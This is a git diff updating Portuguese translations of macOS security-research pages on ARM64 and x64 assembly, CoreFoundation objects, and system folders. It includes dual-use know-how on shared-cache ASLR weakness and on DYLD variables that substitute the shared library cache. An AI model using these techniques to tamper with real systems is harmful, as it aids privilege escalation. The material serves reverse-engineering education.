criação de dumps de core chamando `ulimit -c 0` e reabilitá-los com `ulimit -c unlimited`. -Nesses casos, o core dump é gerado de acordo com `kern.corefile` sysctl e armazenado geralmente em `/cores/core/.%P`. +Nesses casos, o dump de core é gerado de acordo com `kern.corefile` sysctl e geralmente armazenado em `/cores/core/.%P`. ## Fuzzing diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index f69ac338a..59163ff0e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -31,9 +31,9 @@ ARM64 possui **31 registradores de uso geral**, rotulados de `x0` a `x30`. Cada 3. **`x9`** a **`x15`** - Mais registradores temporários, frequentemente usados para variáveis locais. 4. **`x16`** e **`x17`** - **Registradores de Chamada Intra-procedural**. Registradores temporários para valores imediatos. Eles também são usados para chamadas de função indiretas e stubs da PLT (Tabela de Ligação de Procedimentos). - **`x16`** é usado como o **número da chamada de sistema** para a instrução **`svc`** em **macOS**. -5. **`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de uso geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para o bloco de ambiente de thread local no Windows, ou para apontar para a estrutura de tarefa atualmente **executando no kernel do Linux**. +5. **`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de uso geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para o bloco de ambiente de thread local no Windows, ou para apontar para a estrutura de tarefa **executando atualmente no kernel do Linux**. 6. **`x19`** a **`x28`** - Estes são registradores salvos pelo chamado. Uma função deve preservar os valores desses registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de voltar para o chamador. -7. **`x29`** - **Ponteiro de Quadro** para acompanhar o quadro da pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registrador **`x29`** é **armazenado na pilha** e o endereço do **novo** ponteiro de quadro é (**endereço `sp`**) **armazenado neste registrador**. +7. **`x29`** - **Ponteiro de Quadro** para acompanhar o quadro da pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registrador **`x29`** é **armazenado na pilha** e o **novo** endereço do ponteiro de quadro é (**endereço `sp`**) **armazenado neste registrador**. - Este registrador também pode ser usado como um **registrador de uso geral**, embora geralmente seja usado como referência para **variáveis locais**. 8. **`x30`** ou **`lr`** - **Registrador de Link**. Ele mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada, armazenando o valor **`pc`** neste registrador. - Ele também pode ser usado como qualquer outro registrador. @@ -41,20 +41,20 @@ ARM64 possui **31 registradores de uso geral**, rotulados de `x0` a `x30`. Cada 9. **`sp`** - **Ponteiro de Pilha**, usado para acompanhar o topo da pilha. - O valor **`sp`** deve sempre ser mantido em pelo menos um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer. 10. **`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registrador só pode ser atualizado através de gerações de exceção, retornos de exceção e branches. As únicas instruções ordinárias que podem ler este registrador são instruções de branch com link (BL, BLR) para armazenar o endereço **`pc`** em **`lr`** (Registrador de Link). -11. **`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registrador de **32** bits. Pode ser usado para obter o valor zero facilmente (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em nenhum lugar (em **`xzr`**). +11. **`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registrador **32**-bit. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em nenhum lugar (em **`xzr`**). -Os registradores **`Wn`** são a versão **de 32 bits** do registrador **`Xn`**. +Os registradores **`Wn`** são a versão **32bit** do registrador **`Xn`**. ### Registradores SIMD e de Ponto Flutuante -Além disso, existem outros **32 registradores de 128 bits** que podem ser usados em operações otimizadas de múltiplos dados de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Estes são chamados de registradores Vn, embora também possam operar em **64** bits, **32** bits, **16** bits e **8** bits e então são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**. +Além disso, existem outros **32 registradores de 128 bits** que podem ser usados em operações otimizadas de múltiplos dados de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Estes são chamados de registradores Vn, embora também possam operar em **64**-bit, **32**-bit, **16**-bit e **8**-bit e então são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**. ### Registradores do Sistema **Existem centenas de registradores do sistema**, também chamados de registradores de propósito especial (SPRs), usados para **monitorar** e **controlar** o comportamento dos **processadores**.\ Eles só podem ser lidos ou configurados usando as instruções especiais dedicadas **`mrs`** e **`msr`**. -Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao realizar engenharia reversa. O sufixo `EL0` indica a **exceção mínima** a partir da qual o registrador pode ser acessado (neste caso, EL0 é o nível de exceção (privilégio) regular com o qual os programas regulares operam).\ +Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao realizar engenharia reversa. O sufixo `EL0` indica a **exceção mínima** a partir da qual o registrador pode ser acessado (neste caso, EL0 é o nível de exceção regular (privilégio) com o qual programas regulares são executados).\ Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local de thread** na memória. Geralmente, o primeiro é legível e gravável para programas executando em EL0, mas o segundo pode ser lido de EL0 e escrito de EL1 (como o kernel). - `mrs x0, TPIDR_EL0 ; Ler TPIDR_EL0 em x0` @@ -67,7 +67,7 @@ Estes são os campos acessíveis:
-- As **flags de condição `N`**, `Z`, `C` e `V`: +- As **flags de condição `N`**, **`Z`**, **`C`** e **`V`**: - **`N`** significa que a operação resultou em um resultado negativo. - **`Z`** significa que a operação resultou em zero. - **`C`** significa que a operação teve carry. @@ -82,17 +82,17 @@ Estes são os campos acessíveis: - A **flag de largura de registrador atual (`nRW`)**: Se a flag tiver o valor 0, o programa será executado no estado de execução AArch64 uma vez retomado. - O **Nível de Exceção** (**`EL`**): Um programa regular executando em EL0 terá o valor 0. -- A **flag de passo único** (**`SS`**): Usada por depuradores para passo único, definindo a flag SS para 1 dentro de **`SPSR_ELx`** através de uma exceção. O programa executará um passo e emitirá uma exceção de passo único. +- A **flag de passo único** (**`SS`**): Usada por depuradores para executar um passo único definindo a flag SS para 1 dentro de **`SPSR_ELx`** através de uma exceção. O programa executará um passo e emitirá uma exceção de passo único. - A **flag de estado de exceção ilegal** (**`IL`**): É usada para marcar quando um software privilegiado realiza uma transferência de nível de exceção inválida, esta flag é definida como 1 e o processador aciona uma exceção de estado ilegal. - As flags **`DAIF`**: Essas flags permitem que um programa privilegiado oculte seletivamente certas exceções externas. -- Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção** (IRQs) de hardware externo. e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs). -- As flags de seleção de ponteiro de pilha (**`SPS`**): Programas privilegiados executando em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o de modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Esta troca é realizada escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0. +- Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção** (IRQs) de hardware externas. e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs). +- As flags de seleção do ponteiro de pilha (**`SPS`**): Programas privilegiados executando em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Esta troca é realizada escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0. ## **Convenção de Chamada (ARM64v8)** A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** para uma função são passados em registradores **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O **valor de retorno** é passado de volta no registrador **`x0`**, ou em **`x1`** também **se for longo de 128 bits**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** entre chamadas de função. -Ao ler uma função em assembly, procure o **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro** e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função. +Ao ler uma função em assembly, procure o **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro**, e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função. ### Convenção de Chamada em Swift @@ -129,13 +129,13 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on - Xn2 -> Operando 1 - Xn3 | #imm -> Operando 2 (registrador ou imediato) - \[shift #N | RRX] -> Realizar um deslocamento ou chamar RRX. -- Exemplo: `add x0, x1, x2` — Isso adiciona os valores em `x1` e `x2` juntos e armazena o resultado em `x0`. +- Exemplo: `add x0, x1, x2` — Isso adiciona os valores em `x1` e `x2` e armazena o resultado em `x0`. - `add x5, x5, #1, lsl #12` — Isso é igual a 4096 (um 1 deslocado 12 vezes) -> 1 0000 0000 0000 0000. - **`adds`** Isso realiza um `add` e atualiza as flags. - **`sub`**: **Subtrair** os valores de dois registradores e armazenar o resultado em um registrador. - Verifique a **sintaxe de `add`**. - Exemplo: `sub x0, x1, x2` — Isso subtrai o valor em `x2` de `x1` e armazena o resultado em `x0`. -- **`subs`** Isso é como sub, mas atualiza a flag. +- **`subs`** Isso é como sub, mas atualizando a flag. - **`mul`**: **Multiplicar** os valores de **dois registradores** e armazenar o resultado em um registrador. - Exemplo: `mul x0, x1, x2` — Isso multiplica os valores em `x1` e `x2` e armazena o resultado em `x0`. - **`div`**: **Dividir** o valor de um registrador por outro e armazenar o resultado em um registrador. @@ -143,7 +143,7 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: - **Deslocamento lógico à esquerda**: Adiciona 0s do final movendo os outros bits para frente (multiplica por n vezes 2). - **Deslocamento lógico à direita**: Adiciona 1s no início movendo os outros bits para trás (divide por n vezes 2 em não assinado). -- **Deslocamento aritmético à direita**: Como **`lsr`**, mas em vez de adicionar 0s se o bit mais significativo for 1, **1s são adicionados** (divide por n vezes 2 em assinado). +- **Deslocamento aritmético à direita**: Como **`lsr`**, mas em vez de adicionar 0s, se o bit mais significativo for 1, **1s são adicionados** (divide por n vezes 2 em assinado). - **Rotacionar à direita**: Como **`lsr`**, mas o que for removido da direita é anexado à esquerda. - **Rotacionar à direita com extensão**: Como **`ror`**, mas com a flag de carry como o "bit mais significativo". Assim, a flag de carry é movida para o bit 31 e o bit removido para a flag de carry. - **`bfm`**: **Movimento de Campo de Bits**, essas operações **copiam bits `0...n`** de um valor e os colocam em posições **`m..m+n`**. O **`#s`** especifica a **posição do bit mais à esquerda** e **`#r`** a **quantidade de rotação à direita**. @@ -162,12 +162,12 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on - **`SXTH X1, W2`** Estende o sinal de um número de 16 bits **de W2 para X1** para preencher os 64 bits. - **`SXTW X1, W2`** Estende o sinal de um byte **de W2 para X1** para preencher os 64 bits. - **`UXTB X1, W2`** Adiciona 0s (não assinado) a um byte **de W2 para X1** para preencher os 64 bits. -- **`extr`:** Extrai bits de um **par de registradores concatenados**. +- **`extr`:** Extrai bits de um **par de registradores especificados concatenados**. - Exemplo: `EXTR W3, W2, W1, #3` Isso irá **concatenar W1+W2** e obter **do bit 3 de W2 até o bit 3 de W1** e armazená-lo em W3. - **`cmp`**: **Comparar** dois registradores e definir flags de condição. É um **alias de `subs`** definindo o registrador de destino como o registrador zero. Útil para saber se `m == n`. - Suporta a **mesma sintaxe que `subs`**. - Exemplo: `cmp x0, x1` — Isso compara os valores em `x0` e `x1` e define as flags de condição de acordo. -- **`cmn`**: **Comparar** operando negativo. Neste caso, é um **alias de `adds`** e suporta a mesma sintaxe. Útil para saber se `m == -n`. +- **`cmn`**: **Comparar o operando negativo**. Neste caso, é um **alias de `adds`** e suporta a mesma sintaxe. Útil para saber se `m == -n`. - **`ccmp`**: Comparação condicional, é uma comparação que será realizada apenas se uma comparação anterior foi verdadeira e definirá especificamente os bits nzcv. - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salte para func. - Isso ocorre porque **`ccmp`** só será executado se a **comparação anterior `cmp` foi um `NE`**, se não foi, os bits `nzcv` serão definidos como 0 (o que não satisfará a comparação `blt`). @@ -185,18 +185,18 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on - Exemplo: `blr x1` — Isso chama a função cujo endereço está contido em `x1` e armazena o endereço de retorno em `x30`. - **`ret`**: **Retornar** da **sub-rotina**, tipicamente usando o endereço em **`x30`**. - Exemplo: `ret` — Isso retorna da sub-rotina atual usando o endereço de retorno em `x30`. -- **`b.`**: Branches condicionais. -- **`b.eq`**: **Branch se igual**, baseado na instrução `cmp` anterior. +- **`b.`**: Branchs condicionais. +- **`b.eq`**: **Branch se igual**, com base na instrução `cmp` anterior. - Exemplo: `b.eq label` — Se a instrução `cmp` anterior encontrou dois valores iguais, isso salta para `label`. -- **`b.ne`**: **Branch se Não Igual**. Esta instrução verifica as flags de condição (que foram definidas por uma instrução de comparação anterior), e se os valores comparados não forem iguais, ela salta para um rótulo ou endereço. +- **`b.ne`**: **Branch se Não Igual**. Esta instrução verifica as flags de condição (que foram definidas por uma instrução de comparação anterior), e se os valores comparados não forem iguais, ela faz um branch para um rótulo ou endereço. - Exemplo: Após uma instrução `cmp x0, x1`, `b.ne label` — Se os valores em `x0` e `x1 não forem iguais, isso salta para `label`. -- **`cbz`**: **Comparar e Branch em Zero**. Esta instrução compara um registrador com zero, e se forem iguais, salta para um rótulo ou endereço. +- **`cbz`**: **Comparar e Branch em Zero**. Esta instrução compara um registrador com zero, e se forem iguais, faz um branch para um rótulo ou endereço. - Exemplo: `cbz x0, label` — Se o valor em `x0` for zero, isso salta para `label`. -- **`cbnz`**: **Comparar e Branch em Não Zero**. Esta instrução compara um registrador com zero, e se não forem iguais, salta para um rótulo ou endereço. +- **`cbnz`**: **Comparar e Branch em Não Zero**. Esta instrução compara um registrador com zero, e se não forem iguais, faz um branch para um rótulo ou endereço. - Exemplo: `cbnz x0, label` — Se o valor em `x0` for não zero, isso salta para `label`. -- **`tbnz`**: Testa o bit e salta se não for zero. +- **`tbnz`**: Testa o bit e faz branch em não zero. - Exemplo: `tbnz x0, #8, label`. -- **`tbz`**: Testa o bit e salta se for zero. +- **`tbz`**: Testa o bit e faz branch em zero. - Exemplo: `tbz x0, #8, label`. - **Operações de seleção condicional**: Estas são operações cujo comportamento varia dependendo dos bits condicionais. - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se verdadeiro, X0 = X1, se falso, X0 = X2. @@ -210,18 +210,18 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on - `csetm Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = \, se falso, Xd = 0. - **`adrp`**: Computa o **endereço da página de um símbolo** e o armazena em um registrador. - Exemplo: `adrp x0, symbol` — Isso computa o endereço da página de `symbol` e o armazena em `x0`. -- **`ldrsw`**: **Carregar** um valor **assinado de 32 bits** da memória e **estender o sinal para 64** bits. -- Exemplo: `ldrsw x0, [x1]` — Isso carrega um valor assinado de 32 bits da localização de memória apontada por `x1`, estende o sinal para 64 bits e o armazena em `x0`. +- **`ldrsw`**: **Carregar** um valor **32-bit** assinado da memória e **estendê-lo para 64** bits. +- Exemplo: `ldrsw x0, [x1]` — Isso carrega um valor assinado de 32 bits da localização de memória apontada por `x1`, estende-o para 64 bits e o armazena em `x0`. - **`stur`**: **Armazenar um valor de registrador em uma localização de memória**, usando um deslocamento de outro registrador. - Exemplo: `stur x0, [x1, #4]` — Isso armazena o valor em `x0` na localização de memória que é 4 bytes maior do que o endereço atualmente em `x1`. -- **`svc`** : Fazer uma **chamada de sistema**. Significa "Supervisor Call". Quando o processador executa esta instrução, ele **muda do modo de usuário para o modo de kernel** e salta para um local específico na memória onde o **código de manipulação de chamadas de sistema do kernel** está localizado. +- **`svc`** : Fazer uma **chamada de sistema**. Significa "Chamada de Supervisor". Quando o processador executa esta instrução, ele **muda do modo de usuário para o modo de kernel** e salta para um local específico na memória onde o **código de manipulação de chamadas de sistema do kernel** está localizado. - Exemplo: ```armasm -mov x8, 93 ; Carrega o número da chamada de sistema para sair (93) no registrador x8. -mov x0, 0 ; Carrega o código de status de saída (0) no registrador x0. -svc 0 ; Faz a chamada de sistema. +mov x8, 93 ; Carregar o número da chamada de sistema para sair (93) no registrador x8. +mov x0, 0 ; Carregar o código de status de saída (0) no registrador x0. +svc 0 ; Fazer a chamada de sistema. ``` ### **Prólogo da Função** @@ -245,10 +245,10 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th ## Estado de Execução AARCH32 Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode operar em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\ -Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o nível de privilégio inferior de 32 bits.\ -Note que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 de** **`SPSR_ELx`** registro especial **para 1** quando o thread do processo `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena o **CPSR** dos programas **`AArch32`**. Em seguida, o processo privilegiado chama a instrução **`ERET`** para que o processador transite para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR\*\*.\*\* +Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o de 32 bits de menor privilégio.\ +Note que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 do** **`SPSR_ELx`** registro especial **para 1** quando o thread do processo `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena o **CPSR** dos programas **`AArch32`**. Em seguida, o processo privilegiado chama a instrução **`ERET`** para que o processador transite para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR\*\*.\*\* -O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em definir o **bit mais baixo como 1** para indicar que o conjunto de instruções é T32.\ +O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em configurar o **bit mais baixo para 1** para indicar que o conjunto de instruções é T32.\ Isso é configurado durante as **instruções de ramificação de interworking**, mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registrador de destino. Exemplo: Outro exemplo: @@ -305,17 +305,17 @@ A instrução **`SEL`** usa essas flags GE para realizar ações condicionais.
-- **`AIF`**: Certas exceções podem ser desativadas usando os bits **`A`**, `I`, `F`. Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção** de hardware externo (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs). +- **`AIF`**: Certas exceções podem ser desativadas usando os bits **`A`**, `I`, `F`. Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção** de hardware externas (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs). ## macOS ### Chamadas de sistema BSD -Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Chamadas de sistema BSD terão **x16 > 0**. +Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). As chamadas de sistema BSD terão **x16 > 0**. ### Armadilhas Mach -Confira em [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) a `mach_trap_table` e em [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) os protótipos. O número máximo de armadilhas Mach é `MACH_TRAP_TABLE_COUNT` = 128. Armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**. +Confira em [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) a `mach_trap_table` e em [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) os protótipos. O número máximo de armadilhas Mach é `MACH_TRAP_TABLE_COUNT` = 128. As armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**. Você também pode verificar **`libsystem_kernel.dylib`** em um desassemblador para encontrar como chamar essas (e BSD) chamadas de sistema: ```bash @@ -389,7 +389,7 @@ Quando essa função é chamada, é necessário encontrar o método chamado da i - Tentar lista de métodos da superclasse: - Se encontrado, preencher cache e feito - Se (resolver) tentar resolvedor de métodos e repetir a busca da classe -- Se ainda aqui (= tudo o mais falhou) tentar forwarder +- Se ainda aqui (= tudo o mais falhou) tentar encaminhador ### Shellcodes diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md index 6b87fee54..fe7c37953 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md @@ -4,7 +4,7 @@ ## **Introdução ao x64** -x64, também conhecido como x86-64, é uma arquitetura de processador de 64 bits predominantemente utilizada em computação de desktop e servidores. Originada da arquitetura x86 produzida pela Intel e posteriormente adotada pela AMD com o nome AMD64, é a arquitetura prevalente em computadores pessoais e servidores hoje. +x64, também conhecido como x86-64, é uma arquitetura de processador de 64 bits predominantemente usada em computação de desktop e servidor. Originada da arquitetura x86 produzida pela Intel e posteriormente adotada pela AMD com o nome AMD64, é a arquitetura prevalente em computadores pessoais e servidores hoje. ### **Registradores** @@ -34,7 +34,7 @@ Swift tem sua própria **convenção de chamada** que pode ser encontrada em [** ### **Instruções Comuns** -As instruções x64 possuem um conjunto rico, mantendo compatibilidade com instruções x86 anteriores e introduzindo novas. +As instruções x64 têm um conjunto rico, mantendo compatibilidade com instruções x86 anteriores e introduzindo novas. - **`mov`**: **Mover** um valor de um **registrador** ou **local de memória** para outro. - Exemplo: `mov rax, rbx` — Move o valor de `rbx` para `rax`. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md index 26370ebeb..0355eba57 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md @@ -6,7 +6,7 @@ Os objetos CF\* vêm do CoreFoundation, que fornece mais de 50 classes de objetos como `CFString`, `CFNumber` ou `CFAllocator`. -Todas essas classes são instâncias da classe `CFRuntimeClass`, que quando chamada retorna um índice para a `__CFRuntimeClassTable`. A CFRuntimeClass é definida em [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html): +Todas essas classes são instâncias da classe `CFRuntimeClass`, que, quando chamada, retorna um índice para a `__CFRuntimeClassTable`. A CFRuntimeClass é definida em [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html): ```objectivec // Some comments were added to the original code diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index 7eb71d9e2..ac19e7006 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -14,18 +14,18 @@ - **/sbin**: Binários essenciais do sistema (relacionados à administração) - **/System**: Arquivo para fazer o OS X funcionar. Você deve encontrar principalmente apenas arquivos específicos da Apple aqui (não de terceiros). - **/tmp**: Arquivos são excluídos após 3 dias (é um link simbólico para /private/tmp) -- **/Users**: Diretório inicial para usuários. +- **/Users**: Diretório home para usuários. - **/usr**: Configuração e binários do sistema - **/var**: Arquivos de log - **/Volumes**: As unidades montadas aparecerão aqui. -- **/.vol**: Executando `stat a.txt` você obtém algo como `16777223 7545753 -rw-r--r-- 1 username wheel ...` onde o primeiro número é o número de identificação do volume onde o arquivo existe e o segundo é o número do inode. Você pode acessar o conteúdo deste arquivo através de /.vol/ com essa informação executando `cat /.vol/16777223/7545753` +- **/.vol**: Executando `stat a.txt` você obtém algo como `16777223 7545753 -rw-r--r-- 1 username wheel ...` onde o primeiro número é o número de id do volume onde o arquivo existe e o segundo é o número do inode. Você pode acessar o conteúdo deste arquivo através de /.vol/ com essa informação executando `cat /.vol/16777223/7545753` ### Pastas de Aplicativos - **Aplicativos do sistema** estão localizados em `/System/Applications` - **Aplicativos instalados** geralmente são instalados em `/Applications` ou em `~/Applications` -- **Dados de aplicativos** podem ser encontrados em `/Library/Application Support` para os aplicativos executando como root e `~/Library/Application Support` para aplicativos executando como o usuário. -- **Daemons** de aplicativos de terceiros que **precisam ser executados como root** geralmente estão localizados em `/Library/PrivilegedHelperTools/` +- **Dados do aplicativo** podem ser encontrados em `/Library/Application Support` para os aplicativos executando como root e `~/Library/Application Support` para aplicativos executando como o usuário. +- Daemons de aplicativos de terceiros que **precisam ser executados como root** geralmente estão localizados em `/Library/PrivilegedHelperTools/` - Aplicativos **Sandboxed** são mapeados na pasta `~/Library/Containers`. Cada aplicativo tem uma pasta nomeada de acordo com o ID do bundle do aplicativo (`com.apple.Safari`). - O **kernel** está localizado em `/System/Library/Kernels/kernel` - **Extensões do kernel da Apple** estão localizadas em `/System/Library/Extensions` @@ -39,7 +39,7 @@ MacOS armazena informações como senhas em vários lugares: macos-sensitive-locations.md {{#endref}} -### Instaladores pkg vulneráveis +### Instaladores pkg Vulneráveis {{#ref}} macos-installers-abuse.md @@ -75,7 +75,7 @@ macos-bundles.md ## Cache de Biblioteca Compartilhada Dyld (SLC) -No macOS (e iOS), todas as bibliotecas compartilhadas do sistema, como frameworks e dylibs, são **combinadas em um único arquivo**, chamado de **cache compartilhado dyld**. Isso melhora o desempenho, já que o código pode ser carregado mais rapidamente. +No macOS (e iOS), todas as bibliotecas compartilhadas do sistema, como frameworks e dylibs, são **combinadas em um único arquivo**, chamado de **cache compartilhado dyld**. Isso melhorou o desempenho, já que o código pode ser carregado mais rapidamente. Isso está localizado no macOS em `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` e em versões mais antigas você pode encontrar o **cache compartilhado** em **`/System/Library/dyld/`**.\ No iOS, você pode encontrá-los em **`/System/Library/Caches/com.apple.dyld/`**. @@ -97,7 +97,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
-Alguns extratores não funcionarão, pois os dylibs estão pré-vinculados com endereços codificados, portanto, podem estar pulando para endereços desconhecidos. +Alguns extratores não funcionarão, pois as dylibs estão pré-vinculadas com endereços codificados, portanto, podem estar pulando para endereços desconhecidos. > [!TIP] > Também é possível baixar o Cache de Biblioteca Compartilhada de outros dispositivos \*OS no macos usando um emulador no Xcode. Eles serão baixados dentro de: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`, como: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` @@ -108,14 +108,14 @@ Alguns extratores não funcionarão, pois os dylibs estão pré-vinculados com e Note que mesmo que o SLC seja deslizante no primeiro uso, todos os **processos** usam a **mesma cópia**, o que **elimina a proteção ASLR** se o atacante conseguir executar processos no sistema. Isso foi, na verdade, explorado no passado e corrigido com o pager de região compartilhada. -Branch pools são pequenos dylibs Mach-O que criam pequenos espaços entre mapeamentos de imagem, tornando impossível interpor as funções. +Branch pools são pequenas dylibs Mach-O que criam pequenos espaços entre mapeamentos de imagem, tornando impossível interpor as funções. ### Substituir SLCs Usando as variáveis de ambiente: - **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Isso permitirá carregar um novo cache de biblioteca compartilhada. -- **`DYLD_SHARED_CACHE_DIR=avoid`** e substituir manualmente as bibliotecas com 